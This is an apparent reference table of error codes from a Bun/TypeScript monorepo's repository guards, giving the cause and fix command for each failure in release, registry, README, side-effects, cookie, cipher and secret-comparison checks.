X_NOT_IMPLEMENTED_COPY a package other than @ultimat3/core constructs X_NOT_IMPLEMENTED itself core ships the one class (NotImplementedError); ten packages each grew a (feature, fix) wrapper of their own, with ten cause sentences for one fault, until plan 101 deleted them. A code: key, a static readonly code = and a code: held in a module const are all one finding; a registry's *_BORROWED_ERROR_CODES list names the code and raises nothing. A class that must be caught by identity extends core's (DevSourceUnavailableError) bun run scripts/not-implemented-copies.ts --json, then in the named file throw new NotImplementedError({ cause, fix }) from @ultimat3/core — a fix: written at the call site is one the errors step reads
X_NOT_IMPLEMENTED_COPY_UNSCANNED the rule found no construction of X_NOT_IMPLEMENTED anywhere, core's own included a scanner that read nothing answers "no copies", which is what a clean tree answers too — so core's NotImplementedError is the proof it read anything bun test scripts/not-implemented-copies.test.ts
X_PACKAGE_KEYWORDS_MISSING a publishable package's package.json has no non-empty keywords array the package predates scripts/new-package.ts stamping keywords, so npm search never offers it add "keywords": ["ultimate", "bun", …] to that package's package.json, then bun run scripts/package-front.ts --json
X_PACKAGE_README_SHAPE a publishable package's README lacks, in its first 30 lines, the heading, one sentence, an install line, an example or a link to its homepage wiki page — or a README_SHAPE_PINS row exempts nothing the README opens on an internal table, or package.json's homepage is not a page under the wiki; npm shows this screen first edit that package's README.md head (or pin it with a reason in README_SHAPE_PINS in scripts/package-front.ts), then bun run scripts/package-front.ts --json
X_PIN_BASE_MISSING pin-raises had no origin/main to compare against, and fetching it failed the same checkout X_BUDGET_BASE_MISSING names, for the pins tables git fetch --no-tags --depth=1 origin +refs/heads/main:refs/remotes/origin/main, then bun run pin-raises
X_PIN_EDIT_UNPLACED a --write-pin draft found no table to raise the pins file declares no such export const table, or never closes it grep -n 'export const' scripts/lib/<file>-pins.ts
X_PIN_RAISE_UNSTATED a ratchet pin in scripts/lib/*-pins.ts is higher than at origin/main's tip with no why: on the row a pin raised to make a guard green, in silence — secret-compare 53 → 63, node-import-pins 3 → 12, proto-index-pins 1 → 9 all happened with nothing on the row. budget-raises' rule for routes, applied to every pins table and to the ratchets kept inside scripts (DOC_COMMAND_PINS, README_FENCE_BACKLOG, each app's expectedRed); the why: must be one origin/main did not already have for that row, since the old sentence was written for the old number; a table new since the base is stated by a why: in its header add // why: <the reason these sites cannot be fixed yet> on the row or directly above it, or fix the new sites and lower the row back. Then bun run pin-raises
X_PLAN_STATUS_INVALID a docs/plans/**/status.yml does not parse, or its status or a slice's status is not not_started | in_progress | blocked | complete | superseded done or finished written by hand, a missing field, broken YAML edit the named status.yml to a template value, then bun run plan-status --json
X_PLAN_STATUS_UNDATED a plan tracker changed without its own date a status.yml changed on this branch while its last_updated line did not, so a depth-1 CI clone dates the edit as untouched work sed -i.bak "s/^last_updated: .*/last_updated: $(date -u +%F)/" <status.yml> && rm <status.yml>.bak
X_PLAN_STATUS_UNSCANNED no docs/plans/**/status.yml was found, so no tracker was checked run from outside the repository root, or the plans moved bun run scripts/plan-status.ts --json from the repository root
X_PREFLIGHT_BASE_MISSING preflight had no origin/main to diff a shallow or fresh clone never fetched main, so the changed-file set is unknown git fetch --no-tags origin +refs/heads/main:refs/remotes/origin/main
X_PREFLIGHT_STEP_FAILED a preflight step answered no verdict document the step crashed, hit its deadline or printed no JSON bun run preflight --json — the finding names the step command to rerun alone
X_PRIVATE_NAME a private name is in a tracked file a tracked line or path, or an untracked file git does not ignore, carries the internal setup mode's name (built from parts in the guard, checked with no secret), an owner/name entry of the ULTIMATE_PRIVATE_NAMES or ULTIMATE_PRIVATE_REPOS secrets (a private repository), or an adopter name from them, read whole-token and case-blind. Every listed file is read; CHANGELOG.md, docs/changelog/, docs/history/, docs/plans/ are records, where an adopter name stands but the setup mode and a repository do not; .dz/ (hand-edited platform config) takes every rule. The finding names the file:line, the class and the entry's 1-based index, never the value; a path that carries one is named by its git ls-files position. A scan that never read scripts/private-names.ts, or a tree git cannot list, is this code too. With the names secret unset the guard says it skipped them (with ULTIMATE_PRIVATE_NAMES_REQUIRED=1 it is X_PRIVATE_NAMES_UNSET instead) at the reported file:line, replace an adopter name with "one adopter" or an example.com fixture keeping any figure, drop a repository reference, or say what the machine is without the setup mode's name; then bun run private-names --json
X_PRIVATE_NAMES_UNSET the private-name secret is missing where the names are required ULTIMATE_PRIVATE_NAMES_REQUIRED=1 with ULTIMATE_PRIVATE_NAMES empty. ci.yml sets the flag beside the secrets only on the gate part that runs boundaries on a push to main, so its absence there is a misconfiguration, and a guard that skipped would pass forever while leaving every adopter name unchecked. The flag keys on the names secret alone: ULTIMATE_PRIVATE_REPOS is optional, and set does not stand in for it. Every other run, a unit job or a fork's pull request included, skips the names (the setup mode is still checked) gh secret set ULTIMATE_PRIVATE_NAMES (an admin, pasting the off-tree list, one name per line, at its prompt), then re-run the workflow
X_PROBE_DATABASE_FIXED a test creates a database under a name that is the same on every run a literal create database x_…, or a binding holding one — x_${process.pid} included. Two runs against one server (a dev re-run beside a gate, two checkouts sharing docker/test-services) and the first afterAll drops the database from under the other's running tests; CI runs the live suites in one job, so it never sees it (#705) const PROBE_DB = probeDatabaseName('x_<suite>'); with import { probeDatabaseName } from '@ultimat3/core';, then bun run probe-databases --json
X_PRODUCTION_APPS_DRIFT a page answering who uses Ultimate does not carry what PRODUCTION_APPS renders the block in README.md, wiki/FAQ.md or wiki/Compared.md was edited by hand, the constant in scripts/production-apps.ts moved, or the page lost its block. The count is owner-reported and adopters are never named bun run scripts/production-apps.ts --write
X_PROTO_CHAIN_INDEX a plain object literal typed Record<…> is READ with a computed key that is not a string literal TABLE[name] where name is data answers an Object.prototype member instead of undefined — useService('constructor') returned the Object function out of the one function whose job is throwing X_SERVICE_MISSING, and querySelectorAll('[constructor]') matched every element. Thirteen instances across four sweeps, six of them fixed before this rule existed and all of them back: the argument for a rule over a sweep. A string literal key and a null-prototype table are recognised rather than pinned guard the read with Object.hasOwn(table, key) before indexing, or make the table a Map; a table that is deliberately prototype-free is built with Object.create(null) and stops being reported
X_PROTO_CHAIN_INDEX_PIN_STALE a package is pinned above the number of prototype-reachable reads it still has the pin outlived the fix, so it would let that many back in bun run scripts/proto-index.ts --unpin <packages/name> — it only lowers
X_PROTO_CHAIN_INDEX_PIN_UNEXPLAINED a package is pinned with a blank reason on the prototype-index ratchet same shape as the two rows above: the count was answered without ever reading the sentence that justifies it write what the package's tables are keyed by, and why that key cannot be constructor, in scripts/lib/proto-index-pins.ts — or guard the reads with Object.hasOwn and run bun run scripts/proto-index.ts --unpin <package>
X_PROTO_CHAIN_INDEX_UNSCANNED the scan read no source file same class as an empty glob: a clean answer over nothing read edit SOURCE_PATTERNS in scripts/boundaries.ts so it matches this repo layout, then bun run scripts/proto-index.ts
X_PUBLIC_API_BREAK_UNDECLARED A public export changed or was removed with no BREAKING entry an exported symbol of a package entry or subpath changed against the declaration scripts/lib/public-api.lock.json recorded in a way a caller can notice (a removed or newly required member, a changed member or return type, a required parameter, anything it cannot classify — an optional member or trailing parameter is compatible), or is gone, and no BREAKING — entry under CHANGELOG.md [Unreleased] or in the version's docs/changelog file names it — code that compiled against the last release may not compile now. Report-only in 31.x: a warning on the manifest step, red under --strict git diff v<ver> -- <source> — revert, or declare it on next under ## [Unreleased], then bun run scripts/public-api.ts --write --json
X_PUBLIC_API_UNSCANNED The public API lock could not be judged scripts/lib/public-api.lock.json is missing or is not valid JSON, the packages' declarations could not be emitted, or no publishable package exports a TypeScript entry — so no change to the public surface can be judged bun run scripts/public-api.ts --write --json
X_PUBLISH_LIST_INCOMPLETE .github/workflows/release.yml does not publish every publishable workspace — or contains no npm publish command at all the publish list was kept by hand and a package was added without one. @ultimat3/flags was in exactly this state from 1.0.0 to 2026-08: the registry answered 404 while every consumer resolved it through the workspace, so nothing in the repo noticed bun run scripts/release-workflow.ts --json — the fix carries the exact -w <name> and the step to add it to, or derive the list from scripts/list-workspaces.ts and it cannot recur
X_PUBLISH_LIST_UNKNOWN a publish step names a workspace this tree cannot publish — no such package, or a private one a rename, a deletion, or a typo in a -w flag. npm publish exits non-zero on it, and the packages published by the steps before it cannot be unpublished bun run scripts/release-workflow.ts --json — the fix carries the exact -w <name> to delete from .github/workflows/release.yml
X_README_EXAMPLE_PIN_STALE a package's pinned failing-fence count is higher than the number that actually fail examples were fixed and the ratchet was not lowered, so the budget would let a new broken fence in for free bun run scripts/readme-fences.ts --pin — it only lowers, never raises
X_README_EXAMPLE_UNCOMPILED a package README.md gained a ts/tsx fence that does not compile an example written against an API that changed, or one that never compiled. A fence is a promise an agent will copy; the count per package may only fall bun run scripts/readme-fences.ts --json names the package, the fence and the diagnostic
X_README_EXAMPLE_UNSCANNED tsc did not run over the extracted fences the fixture could not be written, or the compiler refused to start. tsc reports no semantic diagnostics at all once a program holds a syntax error, so a check that read this as "nothing wrong" would go green over every package at once bun run scripts/readme-fences.ts --json — the finding carries the compiler's own output
X_README_FACTS_DRIFT the root README.md's generated facts table is not what the tree says a package was added or removed, a gate step or a coverage pin moved, the test files or X_* codes crossed a hundred, or the block was edited by hand. A README with no readme-facts block reports too bun run scripts/readme-facts.ts --write
X_README_SAMPLE_DRIFT the root README.md's code sample is not the file its readme-sample marker names the quoted examples/dummy file changed, or the fence was edited by hand. A marker with no fence, a missing file or a README with no marker reports too, so the rule never checks nothing in silence bun run scripts/readme-sample.ts --write
X_REFERENCE_APP_NO_FLOOR a tracked app's x.verify.json does not cover the steps its own gate ran — the file is missing, empty, or behind without a committed floor a deleted suite turns its step from red into skipped, which is neither a regression nor a stale pin, so both gates stay green over a suite that no longer exists write or extend <app>/x.verify.json — fix carries the exact body, or the exact step names to add to its "steps" array
X_REFERENCE_APP_PIN_STALE a step pinned as failing in the app's expectedRed now passes the app was repaired and the pin was not lowered — the ratchet only shrinks. As of 2026-11, both tracked apps' tables are empty; neither app currently has a pin to remove bun run scripts/reference-app-gate.ts --unpin <app>:<step>[,<step>] — retained for future pins: if a pinned step passes, fix carries the exact line. It edits scripts/lib/gated-apps.ts, refuses nonexistent entries before file access, and refuses rather than guess if that file no longer reads as the pin table
X_REFERENCE_APP_REGRESSED a step of a tracked app's own gate that was passing now fails — or the gate produced no step table at all a framework change broke examples/dummy or dummy/social-media-clone, and the step is not one of that app's pinned entries cd <app> && bun run ../../packages/cli/src/bin.ts verify — the fix line names the app
X_REFERENCE_APP_UNREFERENCED a tracked app typechecks but the root tsconfig.json does not reference it the app came off the typecheck pin without joining the root tsc -b solution, so the packages' emitted .d.ts are never proved consumable add { "path": "./<the app>" } to the references array in tsconfig.json — fix carries the exact entry
X_REGISTRY_BOOTSTRAP_OWED a publishable workspace is absent from the registry — its packument answers 404 a package added after a release run: no run has ever seen it, so trusted publishing has nothing to bootstrap from. The finding names its ordinal in the derived publish order and how many packages a release publishes irreversibly before dying on this one. @ultimat3/flags was this until 2.0.0; @ultimat3/scraping until 2026-08-19 npm publish -w <pkg> --access public --provenance=false (PUBLISHING.md step 1), then bun run scripts/trust-publishers.ts
X_REGISTRY_LATEST_DRIFT the stamped version is on the registry and attested, but npm's default latest is not it a lockstep set split across two versions with latest left on whichever publish finished last, so npm install @ultimat3/* and bunx create-ultimate resolve a release this tree does not stamp while every tarball is real and proven. Nothing else here sees it: the stamped version IS present, attested and tagged, so X_REGISTRY_VERSION_BEHIND and X_REGISTRY_UNATTESTED cannot fire npm dist-tag add <pkg>@<version> latest — or, when the newer tag is the real release, bump the tree instead: bun run scripts/release.ts --bump patch
X_REGISTRY_UNATTESTED the stamped version is on the registry with no dist.attestations, published by a person it was published by hand rather than by release.yml, so nothing proves the workflow built that tarball. Every @ultimat3/* package at 2.0.0 is in this state bun run scripts/trust-publishers.ts --json, then release the next version through the workflow (bun run scripts/release.ts --bump patch) — npm publishes are immutable, so the affected version can never gain an attestation
X_REGISTRY_UNREACHABLE the registry did not answer — timeout, non-2xx, or a 200 that is not a packument a rate limit or a network fault. Deliberately not reported as absent: a request that failed is not evidence that a package is unpublished, and treating it as one would send someone to re-bootstrap a live package curl -sS -o /dev/null -w '%{http_code}\n' https://registry.npmjs.org/<pkg>, then re-run bun run scripts/registry-audit.ts --json
X_REGISTRY_VERSION_BEHIND the registry holds the package but not the version this tree stamps the release that should have published it did not reach it — an aborted run leaves every package after the failure behind gh workflow run release.yml --ref v<version> -f version=<version>; when that aborts EPUBLISHCONFLICT on a sibling already at the version, npm publish -w <pkg> --access public --provenance=false
X_RELATIVE_PATH_NOT_POSIX a host relative() answer is used without toPosix on Windows relative() answers with \, which the result then writes into an import specifier, a fix line or a key — a x fix edit that breaks every Linux teammate wrap the call as toPosix(relative(…)), or use posixRelative(…) from packages/cli/src/posix-path.ts; a filesystem-only answer is marked // native-path: <why>. Then bun run posix-relative
X_RELEASE_BRANCH_NAME scripts/release.ts was run on a release/* branch that is not a release/<major>.x maintenance line release/* is the maintenance lines' namespace, and ci.yml and release-tag.yml run on release/[0-9]+.x. The 31.1.0 bump branch was release/31.1.0: CI ran on its push and v31.1.0 was tagged on the PR head, off main's history (#1054). Checked under --dry-run too; a detached HEAD names no branch and is never refused. A bump PR's branch is chore/release-<version> git switch -c chore/release-<version> — the fix line names the version being bumped to; then rerun the bump there
X_RELEASE_FLAG_UNKNOWN scripts/release.ts was passed a flag it does not declare a typo or an invented flag. It declares --version, --bump, --check, --dry-run and --json and nothing else, and refuses before anything is decided — the mistake this guard exists for rewrote 47 manifests bun run scripts/release.ts --bump patch --dry-run --json; the cause lists every flag the script knows
X_RELEASE_HEAD_NOT_MAIN scripts/release-due.ts refused to answer because HEAD is not the tip of origin/main two causes, one code, and the cause says which. fetch: origin/main is unreachable from HEAD — the fetch in scripts/lib/base-ref.ts failed and the script cannot tell what HEAD is anchored to. mismatch: git rev-parse HEAD and git rev-parse origin/main returned different SHAs — HEAD is on a side branch (or ahead of origin/main) and the answer a release-due consumer reads would be anchored to neither. The check compares git rev-parse HEAD to git rev-parse origin/main (the latter fetched first by scripts/lib/base-ref.ts) and refuses on any disagreement, running after the tag/window reachability tests so their codes keep their meaning. data.headSha is the consumer's anchor — comparing it to the SHA the ask body quoted is the check that the run that filed the ask is still the run answering it git fetch --no-tags --depth=1 origin +refs/heads/main:refs/remotes/origin/main && git checkout main — fetch the base, then move HEAD to it
X_RELEASE_LANE_PATCH_ONLY a maintenance line ships patches of its own major only on release/N.x the bump is a minor, a major or another major, so the version would leave the N.Y line bun run scripts/release.ts --bump patch --dry-run --json
X_RELEASE_MAJOR_WINDOW scripts/release.ts was asked for a major inside the 90-day window, or a released major's section is dated inside it from v30, at most one major per 90 days (Stability): the previous major's ## X.0.0 - YYYY-MM-DD heading is under 90 days before this one, and no --security advisory was given; release.ts --check and the gate read the same headings, so a bump PR cannot merge around the bump bun run scripts/release.ts --bump major --security GHSA-xxxx-xxxx-xxxx --dry-run --json — only for a security fix that cannot be non-breaking; otherwise the break waits on the next branch until the date the cause names
X_RELEASE_TAG_UNREACHABLE scripts/release-due.ts found no vX.Y.Z tag reachable from HEAD, or could not read the commits since it a shallow or tagless clone — CI's default checkout fetches no tags. Without the last release there is no window to judge, and answering "nothing ships" over a window it never read is the silent no it refuses to give git fetch --tags origin && bun run scripts/release-due.ts --json
X_RELEASE_TREE_DIRTY scripts/release.ts was run over a working tree with uncommitted changes the release rewrites 47 files and is committed as one; over a dirty tree that commit carries whatever else was in flight, as part of a release nobody reviewed as one. Checked under --dry-run too, so a dry run predicts the real one. A git status --porcelain that could not run is the same refusal, never a pass git stash -u && bun run scripts/release.ts --bump patch --dry-run --json — the fix line repeats your own flags; the cause lists the dirty paths
X_RELEASE_UNDEPRECATED_REMOVAL a name a package's src/index.ts exported at the previous release tag is gone, and that tag never marked it @deprecated a removal or rename that skipped the deprecation window: its alias ships with @deprecated on main for at least one minor before a major takes it (Stability). Inert while the previous release is below v30 git show v<previous>:packages/<pkg>/src/index.ts — restore the export with a /** @deprecated */ comment naming its replacement, and remove it in the next major window
X_RELEASE_UNRELEASED_MISSING CHANGELOG.md has no ## [Unreleased] heading, so a release has nothing to promote the heading was renamed or deleted. Refused before any manifest is written, and under --dry-run too — guessing where the release notes live is how a release ships the wrong section, and finding out after 47 files have moved is the expensive order to find it out in add ## [Unreleased] under the preamble of CHANGELOG.md, above the newest version, then bun run scripts/release.ts --bump patch --dry-run --json
X_RELEASE_VERSION_INVALID scripts/release.ts was asked for a version that does not move forward, or for two at once --version at or below the version this repo is already at — npm holds it, or one above it, so the publish dies E403 after the tag and the Release exist — or --version and --bump together, where --bump used to be dropped without a word bun run scripts/release.ts --bump patch --dry-run --json (or --bump minor, --bump major); the cause names the current and the requested version
X_RELEASE_VERSION_UNSTATED a release was asked for and neither --version nor --bump was given the absent case is a refusal, not a patch bump. It used to default to patch, so a typo'd flag name still produced a release of some version bun run scripts/release.ts --bump patch --dry-run --json, or --version <x.y.z> — the cause names the version this repo is currently at
X_RELEASE_WINDOW_UNREADABLE scripts/release-due.ts found the last release tag but git log v<tag>..HEAD failed most often a shallow clone that fetched the tag without the history between it and HEAD. The tag was found, so fetching tags fixes nothing; an unread window is never reported as one that ships nothing git fetch --unshallow --tags origin; bun run scripts/release-due.ts --json — --unshallow errors harmlessly in a full clone
X_REMOTE_VERIFY_HOST_MISSING the remote gate has no usable host or offset no --host and no ULTIMATE_REMOTE_HOST, a host that is not a plain ssh alias, or an --offset outside 1..50000 ULTIMATE_REMOTE_HOST=<ssh-alias> bun run gate:remote --only unit
X_REMOTE_VERIFY_OFFSET_INVALID the remote gate port offset is out of range the offset is not a whole number, or it would push the highest port the test compose file publishes past 65535 bun run scripts/remote-verify.ts --host <ssh-alias> --offset 20000
X_REMOTE_VERIFY_SYNC_FAILED the tree did not reach the remote gate host ssh refused (no key, BatchMode) or rsync is missing on the host ssh -o BatchMode=yes <ssh-alias> true
X_ROADMAP_FILE_MISSING docs/idea/14-roadmap.md does not exist, so no status or artifact can be checked the roadmap was deleted or moved — every other roadmap rule would otherwise pass silently git checkout -- docs/idea/14-roadmap.md
X_ROADMAP_MILESTONE_UNTRACKED a milestone row exists that REQUIRED_ARTIFACTS has no entry for, so its status marker verifies nothing a milestone appended to the table without teaching the checker what shipping it means — the row could then carry ✅ forever with no artifact behind it add an entry for that milestone to REQUIRED_ARTIFACTS in scripts/roadmap.ts, then bun run scripts/roadmap.ts --json
X_ROADMAP_MILESTONE_UNVERIFIED a milestone the table marks ✅ is missing a package or file its own Ships column names the artifact was deleted or renamed after the milestone was marked shipped git checkout -- the paths the fix line lists, or put 🚧 in that row's status cell
X_ROADMAP_STATUS_MISSING a milestone has no row, or its row's status cell holds neither ✅ nor 🚧 docs/idea/14-roadmap.md edited without keeping the marker put ✅ or 🚧 in the second cell of the row fix names, then bun run scripts/roadmap.ts --json
X_ROADMAP_TRACKER_STALE a plan tracker reads in_progress with no commit for more than 30 days a plan was abandoned or replaced without closing its status.yml bun run scripts/roadmap.ts --json — after setting the tracker status: superseded with a current_focus naming the plan that carries its rows
X_ROOT_BIN_REINTRODUCED the repository root has a bin/ again (file, directory, or empty directory) a wrapper (bin/setup, bin/check, bin/dev) restating a package.json script, which then drifts from it git rm -r bin/, then use bun run setup / bun run verify / bun run x -- <args>
X_SCAFFOLD_FIRST_RUN_FAILED a first-run command failed inside a freshly scaffolded app one step of scripts/scaffold-first-run.ts exited non-zero — x db migrate against the pristine scaffold, then one x g per kind in the CLI's own GENERATORS registry, then x db gen and a second x db migrate over what they wrote — or the app has no x binary, which is bun install never having linked one. It exists because scaffold-smoke ran x new → bun install → x verify and nothing else, so three shipped defects sat outside CI: four generators emitting imports that resolve to nothing, a first migration with no snapshot sidecar, and a snapshot the app's own lint rejects. Every step runs — four broken generators are four findings in one run. scripts/scaffold-admin.ts raises it too: it boots x dev in a scaffold, creates, edits and deletes a row through the admin's own forms, and checks a member is refused the fix is the single command that reproduces that step, verbatim: cd <app> && <app>/node_modules/.bin/x <args>. For a missing binary it is cd <app> && bun install --linker=hoisted
X_SCAFFOLD_GATE_RED the freshly scaffolded app's own bun run verify went red — or printed a step table this gate cannot match against the declared steps, or reported budgets as skipped rather than green No waiver and no fix-follow, As of 2026-11: scaffold-smoke runs the app's own bun run setup && bun run verify once (SETUP_COMMAND, GATE_COMMAND in scripts/scaffold-gate.ts), and the FIRST bun run verify is the one that has to be green, because that is all a box gets. The --allow-red budgets allowance is gone and nothing replaced it — x verify's budgets step builds when .x/build-stats.json is missing or stale, so the allowance has nothing left to excuse. budgets is asserted green, never merely not-red: a skip would mean the static build bought nothing and no one would see it bun run scripts/scaffold-gate.ts <the scaffolded app> --json, which runs that app's own two scripts; the finding also prints the in-app form to paste
X_SCAFFOLD_OVERRIDES_EMPTY no @ultimat3/* workspace manifests were found, so the smoke app would install from the npm registry scripts/scaffold-smoke-overrides.ts run outside the repo root, or against a tree with no packages/ — writing {} would silently test the published packages instead of the working tree, which is the one thing the scaffold smoke job exists to avoid bun run scripts/scaffold-smoke-overrides.ts ./smoke-app --json from the repo root
X_SCAFFOLD_VERIFY_UNREADABLE x verify --json in a scaffolded app printed no step table this gate could parse no step's verdict is known, so every neighbouring finding would name a step that was never reported. It has its own code because the two findings it used to be folded into both lied about the cause: one looped over rounds the gate had never printed, the other substituted the step under test and claimed the build had broken lint. Both of those checks are gone with the fix-follow loop; this one survives them, because an unreadable table is a condition the no-waiver gate still has to name cd <dir> && bun run setup && bun run check --json — the app's own gate, which builds before it verifies; from this repo, bun run scripts/scaffold-gate.ts <dir> --json runs the same two scripts
X_SEAL_CALL_OUTSIDE_CORE a package writes its own AES call instead of calling seal() / open() shipped source outside packages/core/src/{secrets,seal,seal-keys}.ts (SEAL_SEAM) and the modules STANDARD_CIPHERS names — a cipher a standard fixes, toward a key that is not the app's: packages/pwa/src/push-{encrypt,decrypt}.ts, RFC 8291 — calls subtle.encrypt( / subtle.decrypt(, uses createCipheriv / createDecipheriv, or names an AES algorithm ('AES-GCM'). A second cipher call is a second key source, a second wire format and a value with no purpose bound in. Signing, verifying and hashing are not sealing and are never reported; tests are fixtures edit the file the finding names — call seal(value, { purpose }) / open(sealed, { purpose }) from @ultimat3/core, then bun run seal-calls --json
X_SEAL_CALL_UNSCANNED the rule's seam was not among the files scanned SEAL_SEAM or STANDARD_CIPHERS in scripts/seal-calls.ts names a module that has moved, so its exemption names nothing and a clean run proves nothing edit SEAL_SEAM or STANDARD_CIPHERS in scripts/seal-calls.ts to name the modules that call the cipher, then bun run seal-calls --json
X_SECRET_COMPARED_UNSAFELY a value whose name says it is a secret is compared with ===, !==, .includes(), .equals() or Buffer.compare() a short-circuiting comparison's running time depends on how many leading bytes match, so an attacker learns the value one byte at a time. It must be static and not a test: all twelve timingSafeEqual call sites in @ultimat3/auth were rewritten to (a) === (b) and the package still answered 432 pass · 0 fail, session.test.ts included — the difference between the two spellings is a timing distribution, not a return value, so no suite can hold this rule. Reads the NAME of each operand, never its type: tokenHash === record.tokenHash is reported, a === b is not replace the comparison with timingSafeEqual(a, b) from @ultimat3/core; if the name is not a secret, pin that site (<path>: <comparison>) in scripts/lib/secret-compare-pins.ts with the sentence saying what it is
X_SECRET_COMPARE_PIN_STALE a package is pinned above the number of secret-named comparisons it still has the pin outlived the fix, so it would let that many back in bun run scripts/secret-compare.ts --unpin <packages/name> — it only lowers
X_SECRET_COMPARE_PIN_UNEXPLAINED a comparison site is pinned with a blank reason on the secret-comparison ratchet the pins file's own header says a count with no sentence is a waiver, and nothing read reason until 2026-09-06 — a count of twelve with an empty reason held twelve comparisons on nothing write what each remaining value actually is — a search token, a job state, a route path — in scripts/lib/secret-compare-pins.ts, or use timingSafeEqual and run bun run scripts/secret-compare.ts --unpin <path> (pins are per site, <path>: <comparison>, so a pinned false positive cannot be swapped for a real one)
X_SECRET_COMPARE_UNSCANNED the scan read no source file same class as an empty glob: a clean answer over nothing read edit SOURCE_PATTERNS in scripts/boundaries.ts so it matches this repo layout, then bun run scripts/secret-compare.ts
X_SETUP_INSTALL_FAILED bun install failed during bun run setup a conflicted lockfile, or a half-written node_modules rm -rf node_modules bun.lock && bun install
X_SET_COOKIE_HAND_BUILT a Set-Cookie attribute is spelled in a literal, or a Set-Cookie header is written by name, outside packages/core/src/cookie.ts and packages/http/src/set-cookie.ts a header built by hand ('Path=/; HttpOnly', `Max-Age=${s}`) — the bytes core's serializer would have refused or encoded go out as written, and two spellings of one header drift setCookie / deleteCookie from @ultimat3/http, or serializeSetCookie below http; then bun run set-cookie-literals --json
X_SET_COOKIE_PIN_STALE a pin in SET_COOKIE_PINS is above what its file holds a hand-built cookie migrated without lowering its pin — the slack would admit the next one lower or delete the row in SET_COOKIE_PINS (scripts/set-cookie-literals.ts), then bun run set-cookie-literals --json
X_SET_COOKIE_UNSCANNED the serializer's own module was not among the files scanned, so no verdict was reached the corpus globs moved, or COOKIE_SEAM names a path that no longer exists bun run set-cookie-literals --json # after pointing COOKIE_SEAM in scripts/set-cookie-literals.ts at core's cookie module
X_SIDE_EFFECTS_ANCHOR_STALE a SIDE_EFFECTS_ANCHORS row naming a module nothing declares the module was renamed, deleted, or its package stopped declaring it side-effecting, so the row argues for an anchor that protects nothing while still reading as a rule in force — X_TIER_FLOOR_STALE is the identical half of FLOOR_ABOVE delete that row from SIDE_EFFECTS_ANCHORS in scripts/lib/side-effects-scan.ts, or point it at the module it was written for
X_SIDE_EFFECTS_BY_USE_STALE a SIDE_EFFECTS_BY_USE row that no longer holds the row names a module its package also lists in sideEffects (the array wins and the module rides in every chunk reaching the barrel), a module that runs nothing at import time, or one an entry imports bare (a bundler that honours the array drops a bare import of an unlisted module) grep -n -A16 'SIDE_EFFECTS_BY_USE' scripts/side-effects.ts — delete the row, or delete the array entry, as the cause names
X_SIDE_EFFECTS_ENTRY_STALE a declared sideEffects entry matches no file in the package the file it named was renamed or deleted, so the entry protects nothing while still reading as a rule in force delete that entry from "sideEffects" in the package's package.json, or point it at the file it was written for
X_SIDE_EFFECTS_MISSING a package declares no sideEffects at all every module is retained in every bundle that imports one binding — measured 2026-08-21 with buildIslands: an island importing @ultimat3/time weighed 22,214 B, and 5,948 B once @ultimat3/core declared the field. A ratchet, because 24 of 30 packages were silent the day the rule landed; the list may shrink and may never grow bun run side-effects --explain --json, copy that package's array into its package.json, then bun run scripts/side-effects.ts --unpin <packages/name>
X_SIDE_EFFECTS_PIN_STALE a package pinned as declaring no sideEffects now declares one the field was written and the pin was not lowered, so the ratchet holds slack that would let the field be deleted again in silence bun run scripts/side-effects.ts --unpin <packages/name> — it only lowers, never raises
X_SIDE_EFFECTS_UNANCHORED a module on SIDE_EFFECTS_ANCHORS that no entry imports for effect the module registers something on behalf of a module that never imports it, so nothing puts it in the graph when none of its own bindings is used. The sideEffects array alone is not the enforcement: Bun before 1.4.1 read any array as false and shook the named module out (oven-sh/bun#40650) — measured then, @ultimat3/core's schema-error-codes.ts flapped 12 builds in 60 on Bun 1.4.0 and 28 in 60 on 1.3.14 in examples/dummy's feed island, and every X_VALIDATION_FAILED rendered untitled in the browser. Fixed upstream in 1.4.1; the bare import is what holds on every bundler add import './<module>'; to that package's src/index.ts and keep the module in the package's "sideEffects" array — a bare import is a statement rather than a binding, and a bundler that honours the array keeps a bare-imported module only if the array lists it
X_SIDE_EFFECTS_UNDECLARED a module runs a statement at import time and its package's sideEffects excludes it a new registerErrorCodes() or registerBaseCatalog() call in a module the array does not name — Bun honours the field, so the bundler is told the module is droppable and deletes that call from every app that does not import its bindings add "./<the module>" to "sideEffects" in that package's package.json (bun run side-effects --explain --json prints the array this tree measures), or, when the effect only matters once one of the module's own bindings is used, a SIDE_EFFECTS_BY_USE row in scripts/side-effects.ts saying why
X_SIDE_EFFECTS_UNSCANNED the scan walked no package, or found no import-time effect anywhere a glob that matches nothing reads exactly like a tree with no lies in it, and this tree has 30-odd registerErrorCodes calls edit PACKAGE_GLOB and scanTopLevelEffects in scripts/side-effects.ts until bun run side-effects --json reads this repo's packages again
X_SKIP_CLEANUP_UNREACHED a test file resets a process-global registry from inside a .skipIf( block, where it never runs Bun evaluates a skipped file's module body — so a module-scope entity() REGISTERS — and then does not run a hook inside describe.skipIf(true). Measured 2026-08-26 with TEST_DATABASE_URL unset: 19 live suites leaked 36 entities, where the next same-named entity() is an X_ENTITY_DUPLICATE nobody can attribute. The leak WAS the house convention, so it appears only in the one configuration a live suite is never deliberately run in bun run skip-if-cleanup --json — move the reset into a hook at column 0 and guard nothing on the skip condition; a file-scope hook that returns early on it leaks identically
X_SKIP_CLEANUP_UNSCANNED the rule read nothing, so no skipped suite was checked the same zero-file glob condition as X_INDEX_ORDER_UNSCANNED bun run skip-if-cleanup from the repo root
X_SOURCE_BARE_ERROR shipped source throws a bare builtin Error CLAUDE.md says never throw a bare Error, and the check that read it (checkErrorFixes) skips tests — so the half that ships had no guard at all. Two bare throws sat in @ultimat3/ai's two wire readers, where a SyntaxError was thrown and caught by the very catch that re-threw it as a coded transport error. A fixture double that throws AT the subject is shipped source too, and no shape tells the two apart: scripts/lib/source-bare-error-exemptions.ts names every intentional site, one row per site, and this is every other one replace the throw with a coded error — new UltimateError({ code, cause, fix }) from @ultimat3/core, or new ScriptError({ code, cause, fix }) from scripts/lib/script-error.ts in a script — or add the site to scripts/lib/source-bare-error-exemptions.ts with the reason it is allowed
X_SOURCE_BARE_ERROR_EXEMPT_STALE an exemption in the bare-Error inventory names a site that holds no bare throw the throw it allowed was repaired, its text was edited (a row names the throw by its text since 31.34.0), or the file was renamed or deleted — and an exemption nobody reads is a licence the next throw inherits. The inventory is per SITE, so one row can never excuse a replacement thrown elsewhere bun run scripts/test-bare-error.ts --json, then delete the stale row from scripts/lib/source-bare-error-exemptions.ts
